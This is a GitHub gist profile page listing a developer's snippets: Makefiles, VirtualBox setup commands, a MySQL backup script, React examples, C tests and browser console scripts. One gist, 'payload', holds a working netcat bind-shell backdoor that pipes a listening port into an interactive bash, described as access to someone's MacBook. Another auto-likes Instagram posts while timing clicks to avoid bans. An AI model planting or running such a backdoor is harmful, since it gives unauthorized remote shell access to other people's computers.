Skip to content

Instantly share code, notes, and snippets.

View fredsiika's full-sized avatar
🤞
Refactoring

Fred Siika fredsiika

🤞
Refactoring
View GitHub Profile
@fredsiika
fredsiika / Makefile
Created October 3, 2018 03:07
Makefile day10 ex00
NAME = libft.a
SRC_DIR := srcs/
INC_DIR := includes/
CFLAGS := -Wall -Werror -Wextra
FILES := ft_putchar.c \
ft_putstr.c\
ft_strcmp.c \
@fredsiika
fredsiika / code.cmd
Created October 20, 2018 00:21
Installing m=MacOS High Sierra 10.13 on Windows 10
# Close your VirtualBox before you run these commands.
# Replace "MacOS" with the name of your virtual machine name, then copy and paste this code to Command Prompt.
Code for VirtualBox 5.x
cd "C:\Program Files\Oracle\VirtualBox\"
VBoxManage.exe modifyvm "MacOS" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
@fredsiika
fredsiika / mysql-backup.sh
Last active June 12, 2019 09:09
a simple mysql database backup script.
#!/bin/sh
PATH=/usr/local/bin:/usr/local/sbin:~/bin:/usr/bin:/bin:/usr/sbin:/sbin
#----------------------------------------------------
# a simple mysql database backup script.
# version 2, updated March 26, 2011./
# copyright 2011 alvin alexander, http://devdaily.com
#----------------------------------------------------
# This work is licensed under a Creative Commons
# Attribution-ShareAlike 3.0 Unported License;
@fredsiika
fredsiika / payload
Created November 30, 2018 14:52
Netcat Payload: connect to the backdoored MacBook on a shared Wi-Fi network. source: https://null-byte.wonderhowto.com/how-to/hacking-macos-configure-backdoor-anyones-macbook-0184637/
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fi
@fredsiika
fredsiika / crud.js
Created December 4, 2018 05:16
A simple NodeJS crud file (Create, Read, Update, Delete) that uses the node “fs module” (file system).
document. write('<link rel="stylesheet" href="https://assets-cdn. github. com/assets/gist-embed-c25e2efde9da332f6cd59ef5c647a379. css">')
document. write('<div id=\"gist93197909\" class=\"gist\">\n <div class=\"gist-file\">\n <div class=\"gist-data\">\n <div class=\"js-gist-file-update-container js-task-list-container file-box\">\n <div id=\"file-crud-js\" class=\"file\">\n \n\n <div itemprop=\"text\" class=\"blob-wrapper data type-javascript \">\n <table class=\"highlight tab-size js-file-line-container\" data-tab-size=\"8\">\n <tr>\n <td id=\"file-crud-js-L1\" class=\"blob-num js-line-number\" data-line-number=\"1\"><\/td>\n <td id=\"file-crud-js-LC1\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">const<\/span> <span class=\"pl-c1\">fs<\/span> <span class=\"pl-k\">=<\/span> <span class=\"pl-c1\">require<\/span>(<span class=\"pl-s\"><span class=\"pl-pds\">&#39;<\/span>fs<span class=\"pl-pds\">&#39;<\/span><\/span>);<\/td>\n <\/tr>\n
@fredsiika
fredsiika / index.html
Created December 4, 2018 11:27 — forked from gaearon/index.html
Add React in One Minute
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Add React in One Minute</title>
</head>
<body>
<h2>Add React in One Minute</h2>
<p>This page demonstrates using React with no build tooling.</p>
@fredsiika
fredsiika / modern_js.md
Created December 4, 2018 12:19 — forked from gaearon/modern_js.md
Modern JavaScript in React Documentation

If you haven’t worked with JavaScript in the last few years, these three points should give you enough knowledge to feel comfortable reading the React documentation:

  • We define variables with let and const statements. For the purposes of the React documentation, you can consider them equivalent to var.
  • We use the class keyword to define JavaScript classes. There are two things worth remembering about them. Firstly, unlike with objects, you don't need to put commas between class method definitions. Secondly, unlike many other languages with classes, in JavaScript the value of this in a method [depends on how it is called](https://developer.mozilla.org/en-US/docs/Web/Jav
@fredsiika
fredsiika / test.match.c
Created January 22, 2019 04:23
Test suite for 42 Silicon Valley Match-N-Match assignment.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define TEST(EXP, RES) printf(#EXP " (" #RES " vs %d) -> %d\n", (EXP), ((EXP)) == (RES))
#define TEST_STR(EXP, RES) printf(#EXP " (" #RES " vs \"%s\") -> %d\n", (EXP), strcmp(((EXP)), (RES)) == 0)
int match(char *s1, char *s2);
int main()
@fredsiika
fredsiika / instaheart.js
Last active May 22, 2019 10:16
Scripts that generate auto likes on Instagram posts.
/**
* setInterval(); takes a function and time interval
* which is set to 10 seconds to avoid the Instagram
* from banning the account.
**/
/* Step 1: Determine which elements control `hearts` & `clicks`. */
// var heart = document.querySelector('button.afkep');
// var arrow = document.querySelector('a.coreSpriteRightPaginationArrow');
@fredsiika
fredsiika / skip-youtube-ad.js
Created May 22, 2019 10:33
Paste into your console while watching YouTube video to automatically press "skip" button when ad appears.
// check for ad every second
setInterval(() => {
// cache skip button
const skipBtn = document.querySelector('.videoAdUiSkipButton');
// click skip button if it exists
if (skipBtn) skipBtn.click();
}, 1000);